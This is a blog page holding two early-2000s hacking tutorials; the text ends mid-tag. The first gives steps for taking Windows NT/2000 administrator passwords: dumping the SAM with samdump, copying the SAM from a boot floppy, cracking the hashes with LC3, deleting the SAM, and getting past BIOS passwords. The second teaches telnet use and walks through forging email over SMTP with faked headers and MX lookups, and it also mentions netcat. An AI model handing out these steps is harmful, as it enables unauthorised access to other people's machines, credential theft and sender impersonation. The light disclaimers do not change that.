Get Admin Rights in Windows 2000 and NT

<div dir="ltr" style="text-align: left;" trbidi="on"><div style="text-align: justify;">Get Admin Rights in Windows 2000 and NT</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">I have tried all possible ways and solutions. in this text I'm only gonna write as short as possibly how to get your forgotten administrator password back. Of course you will only use this to get your own administrator password back... : ) If you get somebody else administrator password and mess up that computer the "real administrator" gets pretty pissed off! Trust me... :) </div><a name="more"></a><br /><div style="text-align: justify;">I will also include all the progs I use to get "my administrator" password. Ok, let's cut the bullshit.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">First off all, there is no right and only way of doing this. It all depends on the situation. Let's begin with scenario one:</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">You can log in with an other user-name besides administrator. This is the most simple way. Once you are logged in, the rest is very simple. First, there are three programs we can use now: LC3, pwdump2 or sam dump. If you can install LC3 on the computer, everything is bueno. But lets assume that without administrator rights you won't be able to install anything (like in my case). Pwdump2 also needs administrator rights to be run so we won't use that one eighter. But samdump can be! Let's use that one. samdump is a very small and clever program that dumps the sam database to a text file. Use it like this from the dos prompt: samdump > hashes.txt Now we have the password hashes in a text file called hashes.txt. Alright, now we have the administrator password!! Yeah! Well, not quite. Instead do the following: copy hashes.txt to a floppy. Now we'll need another program, LC3. Install LC3 on a computer where available. Then when ready installed: new session > import PWDUMP file. Open the hashes.txt from your floppy. Run the program. LC3 will now use password lists AND brute-force on the samdump. Finally you will get the administrator password (all depends on your computer speed. With a 500-700mhz it should take from 5minutes to 20 hours.)</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">That was scenario one. Now to scenario two. </div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">Let's assume that we can't log in to the computer and run samdump. Now it's a litle bit harder to get the samdatabase. Now you'll need a bootable windows 98 startup floppy. I'm not providing you with it. If you can't get or do one yourself, don't bother to get the </div><div style="text-align: justify;">administrator password eighter. In that case there are more important things to do... Ok, now when you got the 98 floppy, put it inside the floppy drive. And if there is no floppy drive you can do a bootable 98 cd too, or just use the windows 98 cd. now when the computer has booted from your 98 disk, browse to %root%winnt/system/ There write:</div><div style="text-align: justify;">copy sam a:\ (yees, of course.. put in a blank formatted floppy...) Now you can use the LC3 cracking program to get the administrator password. Like above but instead of</div><div style="text-align: justify;">PWDUMP you take sam file.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">Ok, what if %root% were windows is installed has NFTS??! Ok, don't panic. I have the solution for you. NTFSDOS! Boot with your windows98 floppy and when booted insert the floppy with NTFSDOS. Run NTFSDOS. Copy the samfile to a floppy... </div><div style="text-align: justify;"><br /></div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">There is also another program called NTFSDOSpro. It can write to the NTFS partition! If you are in a hurry you can simply remove the sam file. (don't do this on somebody elses computer, the administrator will notice it immediately!! And that is no good.) When sam is removed, simply log in with administrator and leave password blank. If any errors occure, just press ok.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">Ok, what if I can't boot from floppy, CD or get into windows, then what??! Now we have to crack the bios to get the bios password so we can change the boot media. To do this, use known backdoors. Here is a link to a fairly new one for several bioses. If that doesn't work, try to download a bios flash disk and see if it boots from it (can't provide you with them because there are hundreds of them! use a search engine.) And if that doesn't work, try to remove the bios battery and see if it will reset the bios. </div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">I will provide you with more stuff later on braking bioses!</div></div>

Get Admin Rights in Windows 2000 and NT

Get Admin Rights in Windows 2000 and NT I have tried all possible ways and solutions. in this text I'm only gonna write as short as pos...

Read more »

Hacking With Windows XP

<div dir="ltr" style="text-align: left;" trbidi="on"><div style="text-align: justify;">Hacking With Windows XP</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">The key to doing amazing things with XP is as simple as D O S. Yes, that's right, DOS as in MS-DOS, as in MicroSoft Disk Operating System. Windows XP (as well as NT and 2000) comes with two versions of DOS. Command.com is an old DOS version. Various versions of command.com come with Windows 95, 98, SE, ME, Window 3, and DOS only operating systems.<br /><a name="more"></a></div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">The other DOS, which comes only with XP, 2000 and NT, is cmd.exe. Usually cmd.exe is better than command.com because it is easier to use, has more commands, and in some ways resembles the bash shell in Linux and other Unix-type operating systems. For example, you can repeat a command by using the up arrow</div><div style="text-align: justify;">until you back up to the desired command. Unlike bash, however, your DOS command  history is erased whenever you shut down cmd.exe. The reason XP has both versions of DOS is that sometimes a program that won't run right in cmd.exe will work in command.com</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">note : m not comparing bash to dos</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">DOS is your number one Windows gateway to the Internet, and the open sesame to local area networks. From DOS, without needing to download a single hacker program, you can do amazingly sophisticated explorations and even break into poorly defended computers.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">****************</div><div style="text-align: justify;"><b><i><span style="color: red;">Warning:</span></i></b> Breaking into computers is against the law if you do not have permission to do so from the owner of that computer. For example, if your friend gives you permission to break into her Hotmail account, that won't protect you because Microsoft owns Hotmail and they will never give you permission.</div><div style="text-align: justify;">****************</div><div style="text-align: justify;"><b><i><span style="color: red;">Warning:</span></i></b> Some kids have been kicked out of school just for bringing up a DOS prompt on a computer. Be sure to get a teacher's WRITTEN permission before demonstrating that you can hack on a school computer.</div><div style="text-align: justify;">****************</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">So how do you turn on DOS?</div><div style="text-align: justify;">Click All Programs -> Accessories -> Command Prompt</div><div style="text-align: justify;">That runs cmd.exe. You should see a black screen with white text on it, saying something like this:</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">Microsoft Windows XP [Version 5.1.2600]</div><div style="text-align: justify;">(C) Copyright 1985-2001 Microsoft Corp.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">C:\></div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">Your first step is to find out what commands you can run in DOS. If you type "help" at the DOS prompt, it gives you a long list of commands. However, this list leaves out all the commands hackers love to use. Here are some of those left out hacker commands.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">TCP/IP commands:</div><div style="text-align: justify;"><i>telnet</i></div><div style="text-align: justify;"><i>netstat</i></div><div style="text-align: justify;"><i>nslookup</i></div><div style="text-align: justify;"><i>tracert</i></div><div style="text-align: justify;"><i>ping</i></div><div style="text-align: justify;"><i>ftp</i></div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">NetBIOS commands (just some examples):</div><div style="text-align: justify;"><i>nbtstat</i></div><div style="text-align: justify;"><i>net use</i></div><div style="text-align: justify;"><i>net view</i></div><div style="text-align: justify;"><i>net localgroup</i></div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">TCP/IP stands for transmission control protocol/Internet protocol. As you can guess by the name, TCP/IP is the protocol under which the Internet runs. along with user datagram protocol (UDP). So when you are connected to the Internet,you can try these commands against other Internet computers. Most local area</div><div style="text-align: justify;">networks also use TCP/IP.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">NetBIOS (Net Basic Input/Output System) protocol is another way to communicate between computers. This is often used by Windows computers, and by Unix/Linux type computers running Samba. You can often use NetBIOS commands over the Internet (being carried inside of, so to speak, TCP/IP). In many cases, however, NetBIOS commands will be blocked by firewalls. Also, not many Internet computers run NetBIOS because it is so easy to break in using them. I will cover NetBIOS commands in the next article to XP Hacking.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">The queen of hacker commands is telnet. To get Windows help for telnet, in the cmd.exe window give the command:</div><div style="text-align: justify;"><i><br /></i></div><div style="text-align: justify;"><i>C:\>telnet /?</i></div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">Here's what you will get:</div><div style="text-align: justify;"><i><br /></i></div><div style="text-align: justify;"><i>telnet [-a][-e escape char][-f log file][-l user][-t term][host [port]]</i></div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">-a Attempt automatic logon. Same as --l option except uses the currently logged on user's name.</div><div style="text-align: justify;">-e Escape character to enter telnet cclient prompt.</div><div style="text-align: justify;">-f File name for client side logging</div><div style="text-align: justify;">-l Specifies the user name to log in with on the remote system. Requires that the remote system support the TELNET ENVIRON option.</div><div style="text-align: justify;">-t Specifies terminal type. Supportedd term types are vt100, vt52, ansi and vtnt only.</div><div style="text-align: justify;">host Specifies the hostname or IP address of the remote computer to connect to.</div><div style="text-align: justify;">port Specifies a port number or service name.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">****************</div><div style="text-align: justify;"><span style="color: #e06666;">Newbie note</span>: what is a port on a computer? A computer port is sort of like a seaport. It's where things can go in and/or out of a computer. Some ports are easy to understand, like keyboard, monitor, printer and modem. Other ports are virtual, meaning that they are created by software. When that modem port of yours (or LAN or ISDN or DSL) is connected to the Internet, your computer has the ability to open or close any of over 65,000 different virtual ports, and has the ability to connect to any of these on another computer - if it is runningthat port, and if a firewall doesn't block it.</div><div style="text-align: justify;">****************</div><br /><div style="text-align: justify;"><span style="color: #ea9999;">Newbie note:</span> How do you address a computer over the Internet? There are two ways: by number or by name.</div><div style="text-align: justify;">****************</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">The simplest use of telnet is to log into a remote computer. Give the command:</div><div style="text-align: justify;"><i><br /></i></div><div style="text-align: justify;"><i>C:/>telnet targetcomputer.com (substituting the name of the computer you want to telnet into for targetcomputer.com)</i></div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">If this computer is set up to let people log into accounts, you may get the message:</div><div style="text-align: justify;"><i><br /></i></div><div style="text-align: justify;"><i>login:</i></div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">Type your user name here, making sure to be exact. You can't swap between lower case and capital letters. For example, user name Guest is not the same as guest.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">**************** </div><div style="text-align: justify;"><span style="color: #ea9999;">Newbie note: </span>Lots of people email me asking how to learn what their user name and password are. Stop laughing, darn it, they really do. If you don't know your user name and password, that means whoever runs that computer didn't give you an account and doesn't want you to log on.</div><div style="text-align: justify;">****************</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">Then comes the message:</div><div style="text-align: justify;"><i><br /></i></div><div style="text-align: justify;"><i>Password:</i></div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">Again, be exact in typing in your password.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">What if this doesn't work?</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">Every day people write to me complaining they can't telnet. That is usually because they try to telnet into a computer, or a port on a computer that is set up to refuse telnet connections. Here's what it might look like when a computer refuses a telnet connection:</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;"><i>C:\ >telnet 10.0.0.3</i></div><div style="text-align: justify;">Connecting To 10.0.0.3...</div><div style="text-align: justify;">Could not open connection to the host, on port 23. A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">Or you might see:</div><div style="text-align: justify;"><i><br /></i></div><div style="text-align: justify;"><i>C:\ >telnet hotmail.com</i></div><div style="text-align: justify;">Connecting To hotmail.com...</div><div style="text-align: justify;">Could not open connection to the host, on port23. No connection could be made because the target machine actively refused it.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">If you just give the telnet command without giving a port number, it will automatically try to connect on port 23, which sometimes runs a telnet server.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">**************</div><div style="text-align: justify;"><span style="color: #ea9999;">Newbie note</span>: your Windows computer has a telnet client program, meaning it will let you telnet out of it. However you have to install a telnet server before anyone can telnet into port 23 on your computer.</div><div style="text-align: justify;">*************</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">If telnet failed to connect, possibly the computer you were trying to telnet into was down or just plain no longer in existence. Maybe the people who run that computer don't want you to telnet into it.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">Even though you can't telnet into an account inside some computer, often you can get some information back or get that computer to do something interesting for you. Yes, you can get a telnet connection to succeed -without doing anything illegal --against almost any computer, even if you don't have permission to login. There are many legal things you can do to many randomly chosen computers with telnet. For example:</div><div style="text-align: justify;"><i><br /></i></div><div style="text-align: justify;"><i>C:/telnet freeshell.org 22</i></div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">SSH-1.99-OpenSSH_3.4p1</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">That tells us the target computer is running an SSH server, which enables encrypted connections between computers. If you want to SSH into an account there, you can get a shell account for free at <a href="http://freeshell.org/">http://freeshell.org</a> . You can get a free SSH client program from <a href="http://winfiles.com/">http://winfiles.com</a> .</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">***************</div><div style="text-align: justify;">You can get punched in the nose warning: Your online provider might kick you off for making telnet probes of other computers. The solution is to get a local online provider and make friends with the people who run it, and convince them you are just doing harmless, legal explorations.</div><div style="text-align: justify;">*************</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">Sometimes a port is running an interesting program, but a firewall won't let you in. For example, 10.0.0.3, a computer on my local area network, runs an email sending program, (sendmail working together with Postfix, and using Kmail to compose emails). I can use it from an account inside 10.0.0.3 to send emails with headers that hide from where I send things.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">If I try to telnet to this email program from outside this computer, here's what happens:</div><div style="text-align: justify;"><i><br /></i></div><div style="text-align: justify;"><i>C:\>telnet 10.0.0.3 25</i></div><div style="text-align: justify;">Connecting To 10.0.0.3...Could not open connection to the host, on port 25. No connection could be made because the target machine actively refused it.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">However, if I log into an account on 10.0.0.3 and then telnet from inside to port 25, here's what I get:</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">Last login: Fri Oct 18 13:56:58 2002 from 10.0.0.1</div><div style="text-align: justify;">Have a lot of fun...</div><div style="text-align: justify;">cmeinel@test-box:~> telnet localhost 25</div><div style="text-align: justify;">Trying ::1...</div><div style="text-align: justify;">telnet: connect to address ::1: Connection refused</div><div style="text-align: justify;">Trying 127.0.0.1... [Carolyn's note: 127.0.0.1 is the numerical address meaning localhost, the same computer you are logged into]</div><div style="text-align: justify;">Connected to localhost.</div><div style="text-align: justify;">Escape character is '^]'.</div><div style="text-align: justify;">220 test-box.local ESMTP Postfix</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">The reason I keep this port 25 hidden behind a firewall is to keep people from using it to try to break in or to forge email. Now the ubergeniuses reading this will start to make fun of me because no Internet address that begins with 10. is</div><div style="text-align: justify;">reachable from the Internet. However, sometimes I place this "test-box" computer online with a static Internet address, meaning whenever it is on the Internet, it always has the same numerical address. I'm not going to tell you what its Internet address is because I don't want anyone messing with it. I just want to mess with other people's computers with it, muhahaha. That's also why I always keep my Internet address from showing up in the headers of my emails.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">***************</div><div style="text-align: justify;"><span style="color: #ea9999;">Newbie note</span>: What is all this about headers? It's stuff at the beginning of an email that may - or may not - tell you a lot about where it came from and when. To see full headers, in Outlook click view -> full headers. In Eudora, click the "Blah blah blah" icon.</div><div style="text-align: justify;">****************</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">Want a computer you can telnet into and mess around with, and not get into trouble no matter what you do to it? I've set up my techbroker.com (206.61.52.33) with user xyz, password guest for you to play with. Here's how to forge email to xyz@techbroker.com using telnet. Start with the command:</div><div style="text-align: justify;"><i><br /></i></div><div style="text-align: justify;"><i>C:\>telnet techbroker.com 25</i></div><div style="text-align: justify;">Connecting To Techbroker.com</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">220 Service ready</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">Now you type in who you want the message to appear to come from:</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">helo santa@techbroker.com</div><div style="text-align: justify;">Techbroker.com will answer:</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">250 host ready</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">Next type in your mail from address:</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">mail from:santa@techbroker.com</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">250 Requested mail action okay, completed</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">Your next command:</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">rcpt to:xyz@techbroker.com</div><div style="text-align: justify;">250 Requested mail action okay, completed</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">Your next command:</div><div style="text-align: justify;">data</div><div style="text-align: justify;">354 Start main input; end with .</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">just means hit return. In case you can't see that little period between the s, what you do to end composing your email is to hit enter, type a period, then hit enter again. Anyhow, try typing:</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">This is a test.</div><div style="text-align: justify;">.</div><div style="text-align: justify;">250 Requested mail action okay, completed</div><div style="text-align: justify;">quit</div><div style="text-align: justify;">221 Service closing transmission channel</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">Connection to host lost.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">Using techbroker's mail server, even if you enable full headers, the message we just composed looks like:</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">Status: R</div><div style="text-align: justify;">X-status: N</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">This is a test.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">That's a pretty pathetic forged email, huh? No "from", no date. However, you can make your headers better by using a trick with the data command. After you give it, you can insert as many headers as you choose. The trick is easier to show than explain:</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">220 Service ready</div><div style="text-align: justify;">helo santa@northpole.org</div><div style="text-align: justify;">250 host ready</div><div style="text-align: justify;">mail from:santa@northpole.com</div><div style="text-align: justify;">250 Requested mail action okay, completed</div><div style="text-align: justify;">rcpt to:cmeinel@techbroker.com</div><div style="text-align: justify;">250 Requested mail action okay, completed</div><div style="text-align: justify;">data</div><div style="text-align: justify;">354 Start main input; end with .</div><div style="text-align: justify;">from:santa@deer.northpole.org</div><div style="text-align: justify;">Date: Mon, 21 Oct 2002 10:09:16 -0500</div><div style="text-align: justify;">Subject: Rudolf</div><div style="text-align: justify;">This is a Santa test.</div><div style="text-align: justify;">.</div><div style="text-align: justify;">250 Requested mail action okay, completed</div><div style="text-align: justify;">quit</div><div style="text-align: justify;">221 Service closing transmission channel</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">Connection to host lost.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">The message then looks like:</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">from:santa@deer.northpole.org</div><div style="text-align: justify;">Date: Mon, 21 Oct 2002 10:09:16 -0500</div><div style="text-align: justify;">Subject: Rudolf</div><div style="text-align: justify;">This is a Santa test.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">The trick is to start each line you want in the headers with one word followed by a colon, and the a line followed by "return". As soon as you write a line that doesn't begin this way, the rest of what you type goes into the body of the email.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">Notice that the santa@northpole.com from the "mail from:" command didn't show up in the header. Some mail servers would show both "from" addresses. </div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">You can forge email on techbroker.com within one strict limitation. Your email has to go to someone at techbroker.com. If you can find any way to send email to someone outside techbroker, let us know, because you will have broken our security, muhahaha! Don't worry, you have my permission.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">Next, you can read the email you forge on techbroker.com via telnet:</div><div style="text-align: justify;"><i><br /></i></div><div style="text-align: justify;"><i>C:\>telnet techbroker.com 110</i></div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">+OK <30961.5910984301@techbroker.com> service ready</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">Give this command:</div><div style="text-align: justify;">user xyz</div><div style="text-align: justify;">+OK user is known</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">Then type in this:</div><div style="text-align: justify;">pass test</div><div style="text-align: justify;">+OK mail drop has 2 message(s)</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">retr 1</div><div style="text-align: justify;">+OK message follows</div><div style="text-align: justify;">This is a test.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">If you want to know all possible commands, give this command:</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">help</div><div style="text-align: justify;">+OK help list follows</div><div style="text-align: justify;">USER user</div><div style="text-align: justify;">PASS password</div><div style="text-align: justify;">STAT</div><div style="text-align: justify;">LIST [message]</div><div style="text-align: justify;">RETR message</div><div style="text-align: justify;">DELE message</div><div style="text-align: justify;">NOOP</div><div style="text-align: justify;">RSET</div><div style="text-align: justify;">QUIT</div><div style="text-align: justify;">APOP user md5</div><div style="text-align: justify;">TOP message lines</div><div style="text-align: justify;">UIDL [message]</div><div style="text-align: justify;">HELP</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">Unless you use a weird online provider like AOL, you can use these same tricks to send and receive your own email. Or you can forge email to a friend by telnetting to his or her online provider's email sending computer(s).</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">With most online providers you need to get the exact name of their email computer(s). Often it is simply mail.targetcomputer.com (substitute the name of the online provider for targetcomputer). If this doesn't work, you can find out the name of their email server with the DOS nslookup program, which only runs</div><div style="text-align: justify;">from cmd.exe. Here's an example:</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;"><i><br /></i></div><div style="text-align: justify;"><i>C:\ >nslookup</i></div><div style="text-align: justify;">Default Server: DNS1.wurld.net</div><div style="text-align: justify;">Address: 206.61.52.11</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">> <i>set q=mx</i></div><div style="text-align: justify;">> <i>dimensional.com</i></div><div style="text-align: justify;">Server: DNS1.wurld.net</div><div style="text-align: justify;">Address: 206.61.52.11</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">dimensional.com MX preference = 5, mail exchanger =</div><div style="text-align: justify;">mail.dimensional.com</div><div style="text-align: justify;">dimensional.com MX preference = 10, mail exchanger =</div><div style="text-align: justify;">mx2.dimensional.com</div><div style="text-align: justify;">dimensional.com MX preference = 20, mail exchanger =</div><div style="text-align: justify;">mx3.dimensional.com</div><div style="text-align: justify;">dimensional.com nameserver = ns.dimensional.com</div><div style="text-align: justify;">dimensional.com nameserver = ns-1.dimensional.com</div><div style="text-align: justify;">dimensional.com nameserver = ns-2.dimensional.com</div><div style="text-align: justify;">dimensional.com nameserver = ns-3.dimensional.com</div><div style="text-align: justify;">dimensional.com nameserver = ns-4.dimensional.com</div><div style="text-align: justify;">mail.dimensional.com internet address = 206.124.0.11</div><div style="text-align: justify;">mx2.dimensional.com internet address = 206.124.0.30</div><div style="text-align: justify;">mx3.dimensional.com internet address = 209.98.32.54</div><div style="text-align: justify;">ns.dimensional.com internet address = 206.124.0.10</div><div style="text-align: justify;">ns.dimensional.com internet address = 206.124.26.254</div><div style="text-align: justify;">ns.dimensional.com internet address = 206.124.0.254</div><div style="text-align: justify;">ns.dimensional.com internet address = 206.124.1.254</div><div style="text-align: justify;">ns.dimensional.com internet address = 209.98.32.54</div><div style="text-align: justify;">ns.dimensional.com internet address = 206.124.0.32</div><div style="text-align: justify;">ns.dimensional.com internet address = 206.124.0.30</div><div style="text-align: justify;">ns.dimensional.com internet address = 206.124.0.25</div><div style="text-align: justify;">ns.dimensional.com internet address = 206.124.0.15</div><div style="text-align: justify;">ns.dimensional.com internet address = 206.124.0.21</div><div style="text-align: justify;">ns.dimensional.com internet address = 206.124.0.9</div><div style="text-align: justify;">ns-1.dimensional.com internet address = 206.124.26.254</div><div style="text-align: justify;">ns-2.dimensional.com internet address = 209.98.32.54</div><div style="text-align: justify;">ns-3.dimensional.com internet address = 206.124.1.254</div><div style="text-align: justify;">ns-4.dimensional.com internet address = 206.124.0.254</div><div style="text-align: justify;">></div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">The lines that tell you what computers will let you forge email to people with @dimensional.com addresses are:</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">dimensional.com MX preference = 5, mail exchanger =</div><div style="text-align: justify;">mail.dimensional.com</div><div style="text-align: justify;">dimensional.com MX preference = 10, mail exchanger =</div><div style="text-align: justify;">mx2.dimensional.com</div><div style="text-align: justify;">dimensional.com MX preference = 20, mail exchanger =</div><div style="text-align: justify;">mx3.dimensional.com</div><div style="text-align: justify;"></div><div style="text-align: justify;">MX stands for mail exchange. The lower the preference number, the more they would like you to use that address for email.If that lowest number server is too busy, then try another server.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">Sometimes when you ask about a mail server, nslookup will give you this kind of error message:</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">DNS request timed out.</div><div style="text-align: justify;">timeout was 2 seconds.</div><div style="text-align: justify;">DNS request timed out.</div><div style="text-align: justify;">timeout was 2 seconds.</div><div style="text-align: justify;">*** Request to [207.217.120.202] timed-out</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">To get around this problem, you need to find out what are the domain servers for your target online provider. A good place to start looking is</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">http://netsol.com/cgi-bin/whois/whois . If this doesn't work, see</div><div style="text-align: justify;">http://happyhacker.org/HHA/fightback.shtml for how to find the domain servers for any Internet address.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">****************</div><div style="text-align: justify;"><span style="color: #ea9999;">Newbie note</span>: A domain name server provides information on the names and numbers assigned to computers on the Internet. For example, dns1.wurld.net and dns2.wurld.net contain information on happyhacker.org, techbroker.com, securitynewsportal.com, thirdpig.com and sage-inc.com. When you query dns1.wurld.net about other computers, it might have to go hunting for that information from other name servers. That's why you might get a timed out failure.</div><div style="text-align: justify;">***************</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">Once you know the domain servers for an online service, set one of them for the server for your nslookup program. Here's how you do it:</div><div style="text-align: justify;"><i><br /></i></div><div style="text-align: justify;"><i>C:\ >nslookup</i></div><div style="text-align: justify;">Default Server: DNS1.wurld.net</div><div style="text-align: justify;">Address: 206.61.52.11</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">Now give the command:</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">> <i>server 207.217.126.41</i></div><div style="text-align: justify;">Default Server: ns1.earthlink.net</div><div style="text-align: justify;">Address: 207.217.126.41</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">Next command should be:</div><div style="text-align: justify;">> <i>set q=mx</i></div><div style="text-align: justify;">><i> earthlink.net</i></div><div style="text-align: justify;">Server: ns1.earthlink.net</div><div style="text-align: justify;">Address: 207.217.126.41</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">earthlink.net MX preference = 5, mail exchanger = mx04.earthlink.net</div><div style="text-align: justify;">earthlink.net MX preference = 5, mail exchanger = mx05.earthlink.net</div><div style="text-align: justify;">earthlink.net MX preference = 5, mail exchanger = mx06.earthlink.net</div><div style="text-align: justify;">earthlink.net MX preference = 5, mail exchanger = mx00.earthlink.net</div><div style="text-align: justify;">earthlink.net MX preference = 5, mail exchanger = mx01.earthlink.net</div><div style="text-align: justify;">earthlink.net MX preference = 5, mail exchanger = mx02.earthlink.net</div><div style="text-align: justify;">earthlink.net MX preference = 5, mail exchanger = mx03.earthlink.net</div><div style="text-align: justify;">earthlink.net nameserver = ns3.earthlink.net</div><div style="text-align: justify;">earthlink.net nameserver = ns1.earthlink.net</div><div style="text-align: justify;">earthlink.net nameserver = ns2.earthlink.net</div><div style="text-align: justify;">mx00.earthlink.net internet address = 207.217.120.28</div><div style="text-align: justify;">mx01.earthlink.net internet address = 207.217.120.29</div><div style="text-align: justify;">mx02.earthlink.net internet address = 207.217.120.79</div><div style="text-align: justify;">mx03.earthlink.net internet address = 207.217.120.78</div><div style="text-align: justify;">mx04.earthlink.net internet address = 207.217.120.249</div><div style="text-align: justify;">mx05.earthlink.net internet address = 207.217.120.31</div><div style="text-align: justify;">mx06.earthlink.net internet address = 207.217.120.23</div><div style="text-align: justify;">ns1.earthlink.net internet address = 207.217.126.41</div><div style="text-align: justify;">ns2.earthlink.net internet address = 207.217.77.42</div><div style="text-align: justify;">ns3.earthlink.net internet address = 207.217.120.43</div><div style="text-align: justify;">></div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">Your own online service will usually not mind and may even be glad if you use telnet to read your email. Sometimes a malicious person or faulty email program will send you a message that is so screwed up that your email program can't download it. With telnet you can manually delete the bad email. Otherwise tech support has to do it for you.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">If you think about it, this ability to forge email is a huge temptation to spammers. How can your online provider keep the bad guys from filling up a victim's email box with garbage? The first time a bad guy tries this, probably nothing will stop him or her. The second time the online provider might block the bad guy at the firewall, maybe call the bad guy's online provider and kick him or her and maybe get the bad guy busted or sued.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">**************</div><div style="text-align: justify;"><span style="color: red;">Warning:</span> Sending hundreds or thousands of junk emails to bomb someone's email account is a felony in the US.</div><br /><div style="text-align: justify;">***************</div><div style="text-align: justify;"><span style="color: red;">Warning:</span> Spamming, where you send only one email to each person, but send thousands or millions of emails, is borderline legal. However, spammers have been successfully sued when they forge the email addresses of innocent people as senders of their spam.</div><div style="text-align: justify;">****************</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">Now that you know how to read and write email with telnet, you definitely have something you can use to show off with. Happy hacking!</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">Oh, here's one last goodie for advanced users. Get netcat for Windows. It's a  free program written by Weld Pond and Hobbit, and available from many sites, for example http://www.atstake.com/research/tools/#network_utilities . It is basically telnet on steroids. For example, using netcat, you can set up a port on your</div><div 